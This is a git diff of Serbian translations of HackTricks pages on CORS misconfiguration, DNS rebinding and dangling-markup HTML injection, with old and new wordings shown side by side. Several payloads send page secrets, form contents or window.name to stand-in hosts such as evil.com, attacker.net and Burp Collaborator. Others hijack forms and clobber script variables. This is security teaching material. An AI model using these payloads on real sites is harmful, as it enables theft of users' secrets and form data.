Moguće je da se iskorišćavanjem trovanja keša na serverskoj strani putem ubacivanja HTTP zaglavlja, može izazvati XSS ranjivost sačuvana na serveru. Ovaj scenario se odvija kada aplikacija ne filtrira `Origin` zaglavlje za ilegalne karaktere, stvarajući ranjivost posebno za korisnike Internet Explorera i Edge-a. Ovi pregledači tretiraju (0x0d) kao legitimni terminator HTTP zaglavlja, što dovodi do ranjivosti ubacivanja HTTP zaglavlja.
Razmotrite sledeći zahtev gde je manipulisano `Origin` zaglavlje:
```
@ -235,11 +235,11 @@ Za dalje čitanje o XSS ranjivostima sačuvanim u bazi podataka, pogledajte [Por
[**Iz ovog istraživanja**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
U ovom scenariju, instanca veb stranice koja odražava sadržaj prilagođenog HTTP zaglavlja bez odgovarajućeg kodiranja je primećena. Konkretno, veb stranica odražava sadržaj uključen u zaglavlje `X-User-id`, koje može sadržati zlonamerni JavaScript, kao što je prikazano primerom gde zaglavlje sadrži SVG oznaku slike dizajniranu da izvrši JavaScript kod prilikom učitavanja.
U ovom scenariju, primećen je primer veb stranice koja reflektuje sadržaj prilagođenog HTTP zaglavlja bez odgovarajućeg kodiranja. Konkretno, veb stranica reflektuje sadržaj uključen u zaglavlje `X-User-id`, koji može sadržati zlonamerni JavaScript, kao što je prikazano primerom gde zaglavlje sadrži SVG oznaku slike dizajniranu da izvrši JavaScript kod prilikom učitavanja.
Politike deljenja resursa preko različitih domena (CORS) omogućavaju slanje prilagođenih zaglavlja. Međutim, bez direktnog prikazivanja odgovora od strane pregledača zbog CORS ograničenja, korisnost takvog ubacivanja može delovati ograničeno. Kritična tačka nastaje kada se razmatra ponašanje keša pregledača. Ako zaglavlje `Vary: Origin` nije navedeno, postaje moguće da zlonamerni odgovor bude keširan od strane pregledača. Naknadno, ovaj keširani odgovor može biti direktno prikazan prilikom navigacije ka URL-u, zaobilazeći potrebu za direktnim prikazivanjem prilikom početnog zahteva. Ovaj mehanizam poboljšava pouzdanost napada korišćenjem keširanja na strani klijenta.
Politike deljenja resursa preko različitih domena (CORS) dozvoljavaju slanje prilagođenih zaglavlja. Međutim, bez direktnog prikazivanja odgovora od strane pregledača zbog CORS ograničenja, korisnost takvog ubacivanja može delovati ograničeno. Kritična tačka nastaje kada se razmatra ponašanje keša pregledača. Ako zaglavlje `Vary: Origin` nije navedeno, postaje moguće da zlonamerni odgovor bude keširan od strane pregledača. Naknadno, ovaj keširani odgovor može biti direktno prikazan prilikom navigacije ka URL-u, zaobilazeći potrebu za direktnim prikazivanjem prilikom inicijalnog zahteva. Ovaj mehanizam poboljšava pouzdanost napada korišćenjem keširanja na strani klijenta.
Da bi se ilustrovao ovaj napad, pružen je primer JavaScript koda, dizajniran da se izvrši u okruženju veb stranice, kao što je putem JSFiddle-a. Ovaj skript vrši jednostavnu radnju: šalje zahtev ka određenom URL-u sa prilagođenim zaglavljem koje sadrži zlonamerni JavaScript. Po uspešnom završetku zahteva, pokušava da naviguje ka ciljanom URL-u, potencijalno pokrećući izvršenje ubačenog skripta ako je odgovor keširan bez odgovarajućeg rukovanja zaglavljem `Vary: Origin`.
Da bi se ilustrovao ovaj napad, pružen je primer JavaScript koda, dizajniran da se izvrši u okruženju veb stranice, kao što je putem JSFiddle-a. Ovaj skript vrši jednostavnu radnju: šalje zahtev ka određenom URL-u sa prilagođenim zaglavljem koje sadrži zlonamerni JavaScript. Po uspešnom završetku zahteva, pokušava da naviguje ka ciljanom URL-u, potencijalno pokrećući izvršenje ubačenog skripta ako je odgovor keširan bez odgovarajuće obrade zaglavlja `Vary: Origin`.
Evo sažetog pregleda JavaScript koda korišćenog za izvođenje ovog napada:
```html
@ -257,24 +257,24 @@ req.send();
### XSSI (Cross-Site Script Inclusion) / JSONP
XSSI, poznat i kao uključivanje skriptova s drugih sajtova, je vrsta ranjivosti koja iskorišćava činjenicu da se Politika istog porekla (SOP) ne primenjuje kada se uključuju resursi koristeći oznaku skripta. Ovo je zato što skripte moraju moći da se uključe sa različitih domena. Ova ranjivost omogućava napadaču pristup i čitanje bilo kog sadržaja koji je uključen koristeći oznaku skripta.
XSSI, poznat i kao Uključivanje skripti sa drugih sajtova, je vrsta ranjivosti koja iskorišćava činjenicu da se Politika istog porekla (SOP) ne primenjuje kada se uključuju resursi koristeći oznaku skripte. Ovo je zato što skripte treba da mogu da se uključe sa različitih domena. Ova ranjivost omogućava napadaču pristup i čitanje bilo kog sadržaja koji je uključen koristeći oznaku skripte.
Ova ranjivost postaje posebno značajna kada je reč o dinamičkom JavaScript-u ili JSONP-u (JSON sa dodatkom), posebno kada se koriste informacije o ambijentalnoj autorizaciji poput kolačića za autentifikaciju. Prilikom zahteva za resurs sa drugog servera, kolačići su uključeni, čime postaju dostupni napadaču.
Ova ranjivost postaje posebno značajna kada je reč o dinamičkom JavaScript-u ili JSONP-u (JSON sa punjenjem), posebno kada se koriste informacije o ambijentalnoj autorizaciji poput kolačića za autentifikaciju. Prilikom zahteva za resurs sa drugog hosta, kolačići su uključeni, čime postaju dostupni napadaču.
Da biste bolje razumeli i ublažili ovu ranjivost, možete koristiti BurpSuite dodatak dostupan na [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Ovaj dodatak može pomoći u identifikaciji i rešavanju potencijalnih XSSI ranjivosti u vašim veb aplikacijama.
Da biste bolje razumeli i ublažili ovu ranjivost, možete koristiti BurpSuite dodatak dostupan na [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Ovaj dodatak može pomoći u identifikovanju i rešavanju potencijalnih XSSI ranjivosti u vašim veb aplikacijama.
[**Pročitajte više o različitim vrstama XSSI i kako ih iskoristiti ovde.**](xssi-cross-site-script-inclusion.md)
Pokušajte dodati **`callback`** **parametar** u zahtev. Možda je stranica bila pripremljena da pošalje podatke kao JSONP. U tom slučaju, stranica će vratiti podatke sa `Content-Type: application/javascript`, što će zaobići CORS politiku.
Pokušajte da dodate **`callback`** **parametar** u zahtev. Možda je stranica bila pripremljena da pošalje podatke kao JSONP. U tom slučaju, stranica će vratiti podatke sa `Content-Type: application/javascript`, što će zaobići CORS politiku.
![](<../.gitbook/assets/image (229).png>)
### Jednostavna (beskorisna?) obilaznica
Jedan način zaobiđavanja restrikcije `Access-Control-Allow-Origin` je traženje od veb aplikacije da napravi zahtev u vaše ime i da vrati odgovor. Međutim, u ovom scenariju, podaci za krajnjeg korisnika neće biti poslati jer je zahtev upućen ka drugom domenu.
Jedan način zaobiđavanja restrikcije `Access-Control-Allow-Origin` je traženje od veb aplikacije da napravi zahtev u vaše ime i da vrati odgovor. Međutim, u ovom scenariju, podaci krajnjeg korisnika neće biti poslati jer je zahtev napravljen ka drugom domenu.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Ovaj alat pruža proxy koji prosleđuje vaš zahtev zajedno sa njegovim zaglavljima, dok istovremeno lažira Origin zaglavlje da odgovara traženom domenu. Ovo efikasno zaobilazi CORS politiku. Evo primera korišćenja sa XMLHttpRequest:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Ovaj alat nudi alternativni pristup prosleđivanju zahteva. Umesto prosleđivanja vašeg zahteva onakvog kakav jeste, server pravi sopstveni zahtev sa navedenim parametrima.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Ovaj alat pruža proksi koji prosleđuje vaš zahtev zajedno sa njegovim zaglavljima, dok takođe lažira Origin zaglavlje da se poklapa sa traženim domenom. Ovo efikasno zaobilazi CORS politiku. Evo primera upotrebe sa XMLHttpRequest-om:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Ovaj alat nudi alternativni pristup proksiranju zahteva. Umesto prosleđivanja vašeg zahteva onakvog kakav jeste, server pravi sopstveni zahtev sa navedenim parametrima.
### Iframe + Popup Obilaznica
@ -284,13 +284,13 @@ Možete **zaobići CORS provere** poput `e.origin === window.origin` tako što
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### DNS Rebinding putem TTL
### DNS Rebinding putem TTL-a
DNS rebindovanje putem TTL-a je tehnika koja se koristi za zaobilaženje određenih sigurnosnih mera manipulacijom DNS zapisa. Evo kako funkcioniše:
1. Napadač kreira veb stranicu i natera žrtvu da je pristupi.
2. Zatim, napadač menja DNS (IP) svog sopstvenog domena da pokazuje ka veb stranici žrtve.
3. Pretraživač žrtve kešira DNS odgovor, koji može imati TTL (Vreme života) vrednost koja pokazuje koliko dugo treba smatrati važećim DNS zapis.
2. Zatim napadač menja DNS (IP) svog sopstvenog domena da pokazuje ka veb stranici žrtve.
3. Pretraživač žrtve kešira DNS odgovor, koji može imati TTL (Vreme života) vrednost koja pokazuje koliko dugo treba smatrati važećim DNS zapisom.
4. Kada TTL istekne, pretraživač žrtve pravi novi DNS zahtev, omogućavajući napadaču da izvrši JavaScript kod na stranici žrtve.
5. Održavanjem kontrole nad IP adresom žrtve, napadač može prikupiti informacije od žrtve bez slanja bilo kakvih kolačića serveru žrtve.
@ -304,32 +304,32 @@ Da biste pokrenuli svoj DNS rebindovan server, možete koristiti alate poput **D
Takođe možete istražiti javno pokrenut server na [http://rebind.it/singularity.html](http://rebind.it/singularity.html) za dalje razumevanje i eksperimentisanje.
### DNS Rebinding putem **poplave keša DNS-a**
### DNS Rebinding putem **poplave DNS keša**
DNS rebindovanje putem poplave keša DNS-a je još jedna tehnika koja se koristi za zaobilaženje mehanizma keširanja pretraživača i prinudnog drugog DNS zahteva. Evo kako funkcioniše:
DNS rebindovanje putem poplave DNS keša je još jedna tehnika koja se koristi za zaobilaženje mehanizma keširanja pretraživača i prinudnog drugog DNS zahteva. Evo kako funkcioniše:
1. Početno, kada žrtva napravi DNS zahtev, odgovara se IP adresom napadača.
2. Da bi zaobišao odbranu keširanja, napadač koristi servisnog radnika. Servisni radnik poplavljuje keš DNS-a, što efikasno briše keširano ime servera napadača.
2. Da bi zaobišao odbranu keširanja, napadač koristi servisnog radnika. Servisni radnik poplavlja DNS keš, što efikasno briše keširano ime servera napadača.
3. Kada pretraživač žrtve napravi drugi DNS zahtev, sada mu se odgovara IP adresom 127.0.0.1, što obično se odnosi na lokalni računar.
Poplavom keša DNS-a servisnim radnikom, napadač može manipulisati procesom DNS rezolucije i prinuditi pretraživač žrtve da napravi drugi zahtev, ovog puta rezolucijom na željenu IP adresu napadača.
Poplavom DNS keša servisnim radnikom, napadač može manipulisati procesom DNS rezolucije i prinuditi pretraživač žrtve da napravi drugi zahtev, ovog puta rezolucijom na željenu IP adresu napadača.
### DNS Rebinding putem **Keša**
Još jedan način zaobiđavanja odbrane keširanja je korišćenje više IP adresa za isti poddomen u DNS provajderu. Evo kako funkcioniše:
Još jedan način zaobiđavanja odbrane keširanja je korišćenjem više IP adresa za isti poddomen u DNS provajderu. Evo kako funkcioniše:
1. Napadač postavlja dva A zapisa (ili jedan A zapis sa dve IP adrese) za isti poddomen u DNS provajderu.
2. Kada pretraživač proveri ove zapise, dobija oba IP adrese.
2. Kada pretraživač proverava ove zapise, dobija oba IP adrese.
3. Ako pretraživač odluči da prvo koristi IP adresu napadača, napadač može poslužiti payload koji vrši HTTP zahteve ka istom domenu.
4. Međutim, kada napadač dobije IP adresu žrtve, prestaje da odgovara pretraživaču žrtve.
5. Pretraživač žrtve, shvativši da je domen nedostupan, prelazi na korišćenje druge date IP adrese.
5. Pretraživač žrtve, kada shvati da je domen nedostupan, prelazi na korišćenje druge date IP adrese.
6. Pristupanjem drugoj IP adresi, pretraživač zaobilazi Politiku istog porekla (SOP), omogućavajući napadaču da zloupotrebi ovo i prikupi i eksfiltrira informacije.
Ova tehnika koristi ponašanje pretraživača kada se pružaju više IP adresa za domen. Strategijskim kontrolisanjem odgovora i manipulacijom izbora IP adrese pretraživača, napadač može iskoristiti SOP i pristupiti informacijama od žrtve.
{% hint style="warning" %}
Imajte na umu da biste pristupili lokalnom računaru trebali biste pokušati da rebindujete **127.0.0.1** u Windows-u i **0.0.0.0** u Linux-u.\
Provajderi poput godaddy ili cloudflare mi nisu dozvolili korišćenje IP adrese 0.0.0.0, ali AWS route53 mi je dozvolio da kreiram jedan A zapis sa 2 IP adrese, pri čemu je jedna od njih "0.0.0.0"
Imajte na umu da biste pristupili lokalnom računaru trebalo bi da pokušate da rebindujete **127.0.0.1** u Windows-u i **0.0.0.0** u Linux-u.\
Provajderi poput godaddy ili cloudflare mi nisu dozvolili da koristim IP 0.0.0.0, ali AWS route53 mi je dozvolio da kreiram jedan A zapis sa 2 IP adrese, pri čemu je jedna od njih "0.0.0.0"
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
{% endhint %}
@ -341,11 +341,11 @@ Za više informacija možete proveriti [https://unit42.paloaltonetworks.com/dns-
* Ako **unutrašnje IP adrese nisu dozvoljene**, odgovorite sa **CNAME**-om ka **localhost-u** (radi na Linuxu i Mac-u)
* Ako **unutrašnje IP adrese nisu dozvoljene** kao DNS odgovori, možete odgovoriti sa **CNAME-ovima ka internim servisima** poput www.corporate.internal.
### DNS Rebinding Oružje
### Oružje za DNS Rebinding
Više informacija o prethodnim tehnikama zaobilaženja i kako koristiti sledeći alat možete pronaći u predavanju [Gerald Doussot - Stanje DNS Rebinding Napada & Singularnost Porekla - DEF CON 27 Konferencija](https://www.youtube.com/watch?v=y9-0lICNjOQ).
Više informacija o prethodnim tehnikama zaobilaženja i kako koristiti sledeći alat možete pronaći u predavanju [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
[**`Singularnost Porekla`**](https://github.com/nccgroup/singularity) je alat za izvođenje napada [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Uključuje neophodne komponente za ponovno vezivanje IP adrese DNS imena servera napada za IP adresu ciljnog računara i za posluživanje napadačkih payloada kako bi se iskoristio ranjiv softver na ciljnom računaru.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) je alat za izvođenje napada [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Uključuje neophodne komponente za ponovno vezivanje IP adrese DNS imena servera napada za IP adresu ciljnog računara i za posluživanje napadačkih payloada kako bi se iskoristio ranjiv softver na ciljnom računaru.
### Stvarna Zaštita od DNS Rebinding-a
@ -358,6 +358,7 @@ Više informacija o prethodnim tehnikama zaobilaženja i kako koristiti sledeći
**Fuzzujte moguće loše konfiguracije u CORS politikama**
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
@ -374,17 +375,3 @@ Više informacija o prethodnim tehnikama zaobilaženja i kako koristiti sledeći
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -6,28 +6,28 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## Rezime
Ova tehnika se može koristiti za izvlačenje informacija od korisnika kada se pronađe **HTML ubacivanje**. Ovo je veoma korisno ako **ne možete pronaći način za iskorišćavanje** [**XSS** ](../xss-cross-site-scripting/), ali možete **ubaciti neke HTML tagove**.\
Takođe je korisno ako se neki **tajni podaci čuvaju u čistom tekstu** u HTML-u i želite ih **izvući** sa klijenta, ili ako želite da zavarate izvršavanje nekog skripta.
Ova tehnika može se koristiti za izvlačenje informacija od korisnika kada se pronađe **HTML ubacivanje**. Ovo je veoma korisno ako ne možete **pronaći način da iskoristite** [**XSS** ](../xss-cross-site-scripting/), ali možete **ubaciti neke HTML oznake**.\
Takođe je korisno ako je neka **tajna sačuvana u čistom tekstu** u HTML-u i želite je **eksfiltrirati** sa klijenta, ili ako želite da zavarate izvršenje nekog skripta.
Nekoliko tehnika koje su ovde komentarisane mogu se koristiti za zaobilaženje nekih [**Content Security Policy**](../content-security-policy-csp-bypass/) pravila izvlačenjem informacija na neočekivane načine (html tagovi, CSS, http-meta tagovi, forme, base...).
Nekoliko tehnika komentarisanih ovde može se koristiti za zaobilaženje nekih [**Content Security Policy**](../content-security-policy-csp-bypass/) eksfiltriranjem informacija na neočekivane načine (html oznake, CSS, http-meta oznake, forme, base...).
## Glavne primene
## Glavne Primene
### Krađa tajnih podataka u čistom tekstu
### Krađa tajni u čistom tekstu
Ako ubacite `<img src='http://evil.com/log.cgi?` kada se stranica učita, žrtva će vam poslati sav kod između ubačenih `img` tagova i sledećeg navodnika unutar koda. Ako se neki tajni podatak nalazi u tom delu, ukradećete ga (isto možete uraditi koristeći dvostruki navodnik, pogledajte koji bi mogao biti interesantniji za upotrebu).
Ako ubacite `<img src='http://evil.com/log.cgi?` kada se stranica učita, žrtva će vam poslati sav kod između ubačene `img` oznake i sledeće navodnika unutar koda. Ako se tajna nađe u tom delu, ukradećete je (možete uraditi istu stvar koristeći dvostruki navodnik, pogledajte šta bi moglo biti interesantnije za korišćenje).
Ako je `img` tag zabranjen (na primer, zbog CSP-a), takođe možete koristiti `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`.
Ako je `img` oznaka zabranjena (zbog CSP na primer) takođe možete koristiti `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
```html
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
@ -35,63 +35,55 @@ Ako je `img` tag zabranjen (na primer, zbog CSP-a), takođe možete koristiti `<
```
Napomena da **Chrome blokira HTTP URL-ove** sa "<" ili "\n" u njima, pa možete pokušati sa drugim protokolima kao što je "ftp".
Takođe možete zloupotrebiti CSS `@import` (će poslati sav kod sve dok ne pronađe ";")
Takođe možete zloupotrebiti CSS `@import` (će poslati sav kod dok ne pronađe ";")
```html
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
```
Možete takođe koristiti **`<table`**:
Takođe možete koristiti **`<table`**:
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
Možete takođe umetnuti `<base` oznaku. Sve informacije će biti poslate sve dok se navodnik ne zatvori, ali zahteva neku interakciju korisnika (korisnik mora kliknuti na neki link, jer će oznaka base promeniti domen na koji link pokazuje):
Možete takođe ubaciti `<base` oznaku. Sve informacije će biti poslate dok se navod ne zatvori, ali zahteva neku interakciju korisnika (korisnik mora da klikne na neki link, jer će base oznaka promeniti domen na koji link pokazuje):
```html
<base target=' <--- Injected
steal me'<b>test</b>
```
### Krađa formi
Dangling Markup (HTML) Scriptless Injection (DMSI) je tehnika koja omogućava krađu podataka iz formi na web stranicama. Ova tehnika se koristi kada je web stranica podložna DMSI napadima.
DMSI napad se izvodi ubacivanjem zlonamernog koda u HTML kod web stranice. Ovaj kod se obično ubacuje u komentare, skrivene elemente ili neaktivne delove stranice. Kada korisnik popuni formu na web stranici, zlonamerni kod se aktivira i podaci iz forme se šalju napadaču.
Da biste izveli DMSI napad, prvo morate identifikovati ciljanu web stranicu koja je podložna ovom napadu. Zatim, proučite HTML kod stranice kako biste pronašli potencijalne tačke za ubacivanje zlonamernog koda.
Nakon što pronađete odgovarajuće mesto za ubacivanje koda, možete koristiti različite tehnike za krađu podataka iz forme. Na primer, možete koristiti JavaScript za presretanje i slanje podataka na udaljeni server ili možete koristiti CSRF (Cross-Site Request Forgery) napad kako biste prevarili korisnika da samostalno pošalje podatke.
Važno je napomenuti da je DMSI napad ilegalan i da se ne sme koristiti bez pristanka vlasnika web stranice. Ova tehnika se često koristi u etičkom hakovanju kako bi se identifikovali propusti u bezbednosti i pomoglo u njihovom otklanjanju.
```html
<base href='http://evil.com/'>
```
Zatim, obrasci koji šalju podatke na putanju (poput `<form action='update_profile.php'>`) će slati podatke na zlonamernu domenu.
Zatim, obrasci koji šalju podatke putanji (kao `<form action='update_profile.php'>`) će slati podatke na zlonamernu domenu.
### Krađa obrazaca 2
Postavite zaglavlje obrasca: `<form action='http://evil.com/log_steal'>` ovo će prebrisati sledeće zaglavlje obrasca i svi podaci iz obrasca će biti poslati napadaču.
Postavite zaglavlje obrasca: `<form action='http://evil.com/log_steal'>` ovo će prepisati sledeće zaglavlje obrasca i svi podaci iz obrasca će biti poslati napadaču.
### Krađa obrazaca 3
Dugme može promeniti URL na koji će biti poslati podaci obrasca pomoću atributa "formaction":
Dugme može promeniti URL na koji će informacije iz obrasca biti poslate pomoću atributa "formaction":
```html
<button name=xss type=submit formaction='https://google.com'>I get consumed!
```
Napadač može koristiti ovo da ukrade informacije.
### Krađa tajnih podataka u čistom tekstu 2
Pronađite [**primer ovog napada u ovom opisu**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
Koristeći poslednju pomenutu tehniku za krađu formi (ubacivanje nove zaglavlje forme), možete zatim ubaciti novo polje za unos:
### Krađa tajnih tekstualnih informacija 2
Koristeći poslednju pomenutu tehniku za krađu formi (ubacivanje novog zaglavlja forme) možete zatim ubaciti novo polje za unos:
```html
<input type='hidden' name='review_body' value="
```
i ovo polje za unos će sadržavati sav sadržaj između dvostrukih navodnika i sledećih dvostrukih navodnika u HTML-u. Ovaj napad kombinuje "_**Krađu tajnih podataka u čistom tekstu**_" sa "_**Krađom formi2**_".
i ovo polje za unos će sadržati sav sadržaj između njegovih dvostrukih navodnika i sledećih dvostrukih navodnika u HTML-u. Ovaj napad meša "_**Krađu tajnih tekstova u čistom obliku**_" sa "_**Krađom formi2**_".
Možete uraditi istu stvar ubacivanjem forme i `<option>` oznake. Svi podaci do zatvorene `</option>` oznake će biti poslati:
Možete uraditi istu stvar ubacivanjem forme i `<option>` oznake. Svi podaci dok se ne pronađe zatvoreni `</option>` će biti poslati:
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
### Ubacivanje parametra u formu
### Ubacivanje parametara obrasca
Možete promeniti putanju forme i uneti nove vrednosti kako bi se izvršila neočekivana radnja:
Možete promeniti putanju obrasca i ubaciti nove vrednosti kako bi se izvršila neočekivana radnja:
```html
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
@ -105,32 +97,32 @@ value='fredmbogo'> ← Injected lines
...
</form>
```
### Krađa tajnih podataka u čistom tekstu putem noscript
### Krađa tajnih tekstova u čistom obliku putem noscript
`<noscript></noscript>` je oznaka čiji će se sadržaj interpretirati ako pregledač ne podržava JavaScript (možete omogućiti/onemogućiti JavaScript u Chrome-u na [chrome://settings/content/javascript](chrome://settings/content/javascript)).
`<noscript></noscript>` je oznaka čiji će sadržaj biti tumačen ako pregledač ne podržava JavaScript (možete omogućiti/onemogućiti JavaScript u Chrome-u na [chrome://settings/content/javascript](chrome://settings/content/javascript)).
Način da se izvrši eksfiltracija sadržaja web stranice od tačke ubacivanja do dna, ka sajtu pod kontrolom napadača, je ubacivanje sledećeg koda:
Način za eksfiltraciju sadržaja web stranice od tačke ubacivanja do dna ka sajtu pod kontrolom napadača biće ubacivanje ovoga:
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### Bypassiranje CSP-a sa korisničkom interakcijom
### Bypassing CSP sa korisničkom interakcijom
Iz ovog [portswiggers istraživanja](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) možete naučiti da čak i u **najstrože ograničenim CSP okruženjima** još uvek možete **izfiltrirati podatke** uz malo **korisničke interakcije**. U ovom slučaju ćemo koristiti payload:
Iz ovog [portswiggers istraživanja](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) možete naučiti da čak i iz **najstrože ograničenih CSP okruženja** možete i dalje **izfiltrirati podatke** sa određenom **korisničkom interakcijom**. U ovom slučaju ćemo koristiti payload:
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
Napomena da ćete **žrtvu** zamoliti da **klikne na link** koji će je **preusmeriti** na **payload** koji kontrolišete. Takođe, napomenite da će **`target`** atribut unutar **`base`** taga sadržati **HTML sadržaj** do sledećeg jednostrukog navodnika.\
To će rezultirati da je **vrednost** **`window.name`** ako se klikne na link će biti sav taj **HTML sadržaj**. Stoga, pošto **kontrolišete stranicu** na koju žrtva pristupa klikom na link, možete pristupiti tom **`window.name`** i **ekstraktovati** te podatke:
Napomena da ćete zatražiti od **žrtve** da **klikne na link** koji će je **preusmeriti** na **payload** koji kontrolišete. Takođe, obratite pažnju da će **`target`** atribut unutar **`base`** oznake sadržati **HTML sadržaj** do sledećeg jednostrukog navodnika.\
To će rezultirati time da će **vrednost** **`window.name`** biti sav taj **HTML sadržaj** kada se klikne na link. Stoga, pošto **kontrolišete stranicu** na koju žrtva pristupa klikom na link, možete pristupiti tom **`window.name`** i **eksfiltrirati** te podatke:
```html
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### Zavaravajući tok skripte 1 - Napad na HTML namespace
### Zavaravajući radni tok skripte 1 - Napad na HTML namespace
Ubacite novu oznaku sa id-om unutar HTML-a koja će prebrisati sledeću oznaku i sa vrednošću koja će uticati na tok skripte. U ovom primeru birate sa kim će se informacija deliti:
Umetnite novu oznaku sa id-om unutar HTML-a koja će prepisati sledeću i sa vrednošću koja će uticati na tok skripte. U ovom primeru birate sa kim će se informacije deliti:
```html
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
@ -145,9 +137,9 @@ request.share_with = document.getElementById('share_with').value;
...
}
```
### Zavaravajući tok skripte 2 - Napad na imenik skripte
### Zavaravajući radni tok skripte 2 - Napad na skriptni prostor imena
Kreirajte promenljive unutar JavaScript imenika umetanjem HTML oznaka. Zatim će ova promenljiva uticati na tok aplikacije:
Kreirajte promenljive unutar JavaScript prostora imena ubacivanjem HTML tagova. Zatim će ova promenljiva uticati na tok aplikacije:
```html
<img id='is_public'> ← Injected markup
@ -169,7 +161,7 @@ if (is_public) request.access_mode = AM_PUBLIC; ← Condition always e
...
}
```
### Zloupotreba JSONP-a
### Zloupotreba JSONP
Ako pronađete JSONP interfejs, možete pozvati proizvoljnu funkciju sa proizvoljnim podacima:
```html
@ -183,19 +175,19 @@ else request.access_mode = AM_PRIVATE;
<script src='/search?q=a&call=set_sharing'>: Injected JSONP call
set_sharing({ ... })
```
Ili čak možete pokušati izvršiti neki JavaScript:
Ili čak možete pokušati da izvršite neki JavaScript:
```html
<script src='/search?q=a&call=alert(1)'></script>
```
### Zloupotreba iframe-a
### Zloupotreba Iframe-a
